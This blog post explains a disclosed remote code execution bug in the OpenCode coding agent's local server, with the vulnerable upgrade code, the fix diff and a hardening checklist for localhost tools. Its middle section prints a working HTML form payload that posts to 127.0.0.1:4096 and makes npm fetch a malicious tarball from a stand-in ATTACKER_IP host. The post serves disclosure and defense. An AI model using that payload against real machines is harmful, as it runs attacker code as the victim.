Skip to content
chornous.dev

Type two or more letters. Esc closes.

Index of sheets
Theme

Sheet 03 · Writing

All notes

A web page could run code through OpenCode's local server: GHSA-632h-h47v-g4x4

Datadog Security Labs disclosed a remote code execution bug in OpenCode 1.14.30 to 1.18.21 on September 24, 2026. A text/plain form post to the local /global/upgrade endpoint made npm install an attacker's tarball. OpenCode 1.18.22 fixes it.

Pl. 35 · section drawing generated from the slug “opencode-upgrade-endpoint-rce”

On September 24, 2026, Datadog Security Labs published GHSA-632h-h47v-g4x4, a remote code execution bug in OpenCode, the open-source coding agent from Anomaly. Datadog researcher Christophe Tafani-Dereeper wrote it up, and the team found the bug on August 11. Anomaly shipped the fix in OpenCode 1.18.22 on August 24 and asked Datadog to hold the write-up for a month. The advisory went public the same day as the post.

If you run opencode serve or opencode web, check your version today.

Who is exposed

Conditions from the Datadog write-up; all must hold
ConditionDetail
VersionOpenCode 1.14.30 through 1.18.21
Server runningopencode serve or opencode web, with no password or with browser-cached credentials
Install methodnpm, pnpm or Bun

You can check the last two from a terminal:

# shows how opencode got onto this machine
ls -l "$(command -v opencode)"

# installed version, for an npm global install
npm ls -g opencode-ai

Datadog counted 82 vulnerable versions with more than 647,000 downloads between September 17 and 23, which was 38.9% of OpenCode downloads that week. Datadog points out that downloads don't tell you how many machines run opencode serve or opencode web. The exposure is still wide for a tool that, by its own count, has 16 million users a month.

Two small bugs, one exploit

The web server listens on 127.0.0.1:4096 and needs no authentication unless you set OPENCODE_SERVER_PASSWORD. It exposes POST /global/upgrade, which takes a target version and hands it to your package manager:

case "npm":
  upgradeResult = yield* run(["npm", "install", "-g", `opencode-ai@${target}`])
  break

npm accepts a tarball URL after the @ as well as a version, so a target of http://attacker/opencode-malicious.tgz makes npm fetch the attacker's package and run its preinstall script. That's the code injection.

The second bug made it reachable from a browser. A fetch() with Content-Type: application/json from another origin triggers a CORS preflight, and OpenCode's server didn't allow foreign origins, so the browser blocked it. An HTML form skips the preflight. Forms can't send JSON, but they can send text/plain, and the browser writes the field name, an =, and the value without encoding either one. The handler parsed any body as JSON without looking at Content-Type:

<form method="POST" enctype="text/plain" action="http://127.0.0.1:4096/global/upgrade">
  <input type="hidden"
    name='{"target":"http://ATTACKER_IP/opencode-malicious.tgz","x":"'
    value='"}'>
</form>
<script>document.forms[0].submit()</script>

The browser sends a body that parses as valid JSON, with the = tucked inside a throwaway x field. Visit the page with a vulnerable server running, and the attacker's script runs as you.

The fix

Anomaly's patch closes both holes. The schema now accepts a semantic version and nothing else:

- export const GlobalUpgradeInput = Schema.Struct({
-   target: Schema.optional(Schema.String),
- })
+ export const GlobalUpgradeInput = Schema.Struct({
+   target: Schema.String.check(
+     Schema.makeFilter((value) => (semver.valid(value) === null ? "Expected a semantic version" : undefined)),
+   ),
+ })

The route also switched from Effect's handleRaw to handle, which decodes the body according to its Content-Type. Version 1.18.22 answers the same form with 415 Unsupported Media Type.

Anomaly chose not to request a CVE, so scanners that match on CVE IDs won't flag this. Search for the GHSA ID instead.

Your own localhost servers

The same pattern turns up in plenty of developer tools that start a local HTTP server: a dashboard, a docs preview, an agent UI. If you build one, the OpenCode bug gives you a short checklist.

  1. Reject request bodies whose Content-Type doesn't match what you parse. A JSON endpoint should refuse text/plain.
  2. Validate anything that reaches a shell or a package manager against a strict format, such as a semver string, before you pass it on.
  3. Require a token or password by default, even on 127.0.0.1. Any page the user opens can reach loopback through a form.
  4. Check the Origin header on state-changing routes and refuse origins you don't serve.

This week

  1. Apr 30, 2026

    OpenCode 1.14.30, the first vulnerable release.
  2. Aug 11, 2026

    Datadog reports the bug through GitHub Security Advisories.
  3. Aug 24, 2026

    OpenCode 1.18.22 ships the fix.
  4. Sep 24, 2026

    Public write-up and advisory.

Upgrade to 1.18.22 or later, then restart any opencode serve process you left running, since an old server keeps serving the old code. Set OPENCODE_SERVER_PASSWORD whenever you start the web UI. If you manage developer machines, add opencode-ai versions below 1.18.22 to whatever inventory check you run for global npm packages.

Volodymyr Chornous